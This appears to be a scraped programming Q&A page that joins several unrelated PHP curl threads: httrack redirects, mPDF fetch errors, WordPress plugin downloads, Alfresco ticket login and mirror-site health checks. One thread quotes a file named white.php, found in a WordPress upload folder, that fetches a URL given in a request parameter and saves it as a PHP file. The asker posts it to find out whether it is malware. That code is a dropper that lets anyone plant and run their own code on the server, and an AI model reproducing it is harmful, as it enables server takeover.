I try to mirror webpages recursively starting from URL supplied by user (there is a depth limit set of course). Wget didn't catch links from css/js so I decided to use httrack.
I try to mirror some site like this:
# httrack <http://onet.pl> -r6 --ext-depth=6 -O ./a "+*"
This website uses redirect (301) to http://www.onet.pl:80, httrack just
downloads index.html page with:
<a HREF="onet.pl/index.html" >Page has moved</a>
and nothing more! When I run:
# httrack <http://www.onet.pl> -r6 --ext-depth=6 -O ./a "+*"
it does what I want.
Is there any way to make httrack following redirects? Currently I just add "www."+url to httrack's URLs but it's not a real solution (doesn't cover all user cases). Are there any better website mirroring tools for linux?
On main httrack forum one of developers said that it's not possible.
Proper solution is to use another web mirroring tool.
You could use this script to determine first the real target url and then run httrack against that url :
function getCorrectUrl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
$out = curl_exec($ch);
// line endings is the wonkiest piece of this whole thing
$out = str_replace("\r", "", $out);
// only look at the headers
$headers_end = strpos($out, "\n\n");
if ($headers_end !== false) {
$out = substr($out, 0, $headers_end);
}
$headers = explode("\n", $out);
foreach ($headers as $header) {
if (substr($header, 0, 10) == "Location: ") {
$target = substr($header, 10);
return $target;
}
}
return $url;
}
Related
I found white.php file on my /upload/cache Wordpress folder.
It contains this code:
<?php
$name = '68aa884d96d2e824669d2d.php';
$ch = curl_init ($_REQUEST['68aa884d96d2e824669d2d']);
$fp = fopen ($name, "w+");
curl_setopt ($ch, CURLOPT_FILE, $fp);
$ult = curl_exec ($ch);
curl_close ($ch);
fclose ($fp);
if(!$ult){
$f = file_get_contents($_REQUEST['68aa884d96d2e824669d2d']);
file_put_contents($name,$f);
}
I'm a noob developer, I would like to know if this is a malware code and, if so, how could I investigate the issue.
Thank you.
mPDF stopping working for me, pdfs generated from php are now blank, when I turn on debug I get the following error message.
Error detected. PDF file generation aborted: file_get_contents(https://www.myurl.com/pdf.php): failed to open stream: operation failed
When I go directly to the php page it appears fine.
Here is the code I'm using, I changed permissions to 777 on the file and the folder and it still doesn't work yet if I change the url to an external one it works perfectly. So I'm guessing something on my server is blocking it.
require __DIR__ . '/vendor/autoload.php';
$invoice_id = $_GET['invoice_id'];
$url="https://www.myurl.com/pdf.php";
if (ini_get('allow_url_fopen')) {
$html = file_get_contents($url);
} else {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 );
$html = curl_exec($ch);
curl_close($ch);
}
try
{
$mpdf = new \Mpdf\Mpdf();
$mpdf->debug = true;
$mpdf->SetDisplayMode('fullwidth');
$mpdf->CSSselectMedia='mpdf'; // assuming you used this in the document header
$mpdf->setBasePath($url);
$mpdf->WriteHTML($html);
$mpdf->Output('invoice'.$invoice_id.'.pdf','D');
} catch (\Mpdf\MpdfException $e) { // Note: safer fully qualified exception
echo $e->getMessage();
}
I am creating a WordPress plugin which should download a ZIP file from a remote location and place it into the wp-plugins folder.
So I created a method which downloads the file using Curl (this works fine) and should then place the file into the wp-plugins folder. I am using the WP_Filesystem in order to make sure I have the rights to place a file on the server. This is what I have until now:
public function download_plugin($url, $path)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
global $wp_filesystem;
if(defined('FS_CHMOD_FILE'))
{
$chmod = FS_CHMOD_FILE;
}
else
{
$chmod = 0755;
}
if (empty($wp_filesystem))
{
require_once (ABSPATH . '/wp-admin/includes/file.php');
WP_Filesystem();
}
if(!$wp_filesystem->put_contents(
$path,
$data,
$chmod
))
else
{
return new \WP_Error('writing_error', 'Error when writing file');
}
}
When I run the method no file is being created on the server. The $path variable however has the right path and the $data variable does contain the ZIP file as a string. The WordPress method put_contents however does nothing. It returns null even when I change the method's parameter to something that should definitely work like $wp_filesystem->put_contents(WP_PLUGIN_DIR.'example.txt','Some text',FS_CHMOD_FILE));.
Is there anything I am doing wrong? It's really difficult to debug since I don't get any errors and put_contents always returns null.
I created a valid ticket using a webservice call...code shown below
$url="http://serverip:port/alfresco/service/api/login?u=xxx&pw=xxx";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
$response =curl_exec($ch);
Now using this ticket i want to authenticate alfresco without again entering username and password.Also i want to create a valid cookie JSESSIONID inside browser with this ticket...Is it feasible??
my purpose is to integrate a php application with alfresco....php application already has an authentication system...so i want to bypass the authentication of alfresco
You need to append below parameter
alf_ticket="TICKET_WHICH_YOU_GET"
for further authentication.
Finally i resolved the issue by calling the login page url http://ip:port/share/page/ via Curl with login parameters(username and pwd)...I got JsessionId as response from curl...Now i took that JsessionId and set inside the browser...so wen u click http://ip:port/share/page/ the login page is bypassed
As per your suggestion, we are tried with below curl call but their is no JsessionId in response. can you please check and let me know the resolution
$post = [
'username' => 'user',
'password' => 'pass',
];
$ch = curl_init('http://ip:port/share/page/dologin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
// execute!
$response = curl_exec($ch);
// close the connection, release resources used
curl_close($ch);
// do anything you want with your response
var_dump($response);
please suggest with the solution
Using my wordpress functions.php file to check if every image displayed is up and running or down. I think what I want to do is to break this functions code (below) into two.
function 1: check if mirror1.com is up (instead of checking every image in loop). insert if/then statement depending on http status of mirror1.com. (if mirror1.com is down, then use mirror2.com) -- pass that into $mirror_website
function 2: simply pass in $mirror_website.. (the front end has <img src="<?php echo $mirror_website; ?>/image.png"> )
The code below works, but it's checking EVERY simple image and slows down the site.
function amazons3acctreplaceto() {
$url = 'http://www.mirror1.com';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
$retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (200==$retcode) {
$as3replaceto = "www.mirror1.com"; // All's well
} else {
$as3replaceto = "www.mirror2.com"; // not so much
}
A simple solution might be to cache the result (eg. in the APC or memcache) with a TTL so you don't need to work out if the site is up or down for every eventuality.
eg. Here's an example that might work using APC to cache the result of the site status for 2 minutes:
function amazons3acctreplaceto() {
$as3replaceto = FALSE;
if (function_exists('apc_fetch')) {
$as3replaceto = apc_fetch('as3replaceto');
}
if ($as3replaceto === FALSE) {
$url = 'http://www.mirror1.com';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
$retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (200==$retcode) {
$as3replaceto = "www.mirror1.com"; // All's well
} else {
$as3replaceto = "www.mirror2.com"; // not so much
}
if (function_exists('apc_store')) {
apc_store('as3replaceto', $as3replaceto, 120); //Store status for 2 minutes
}
}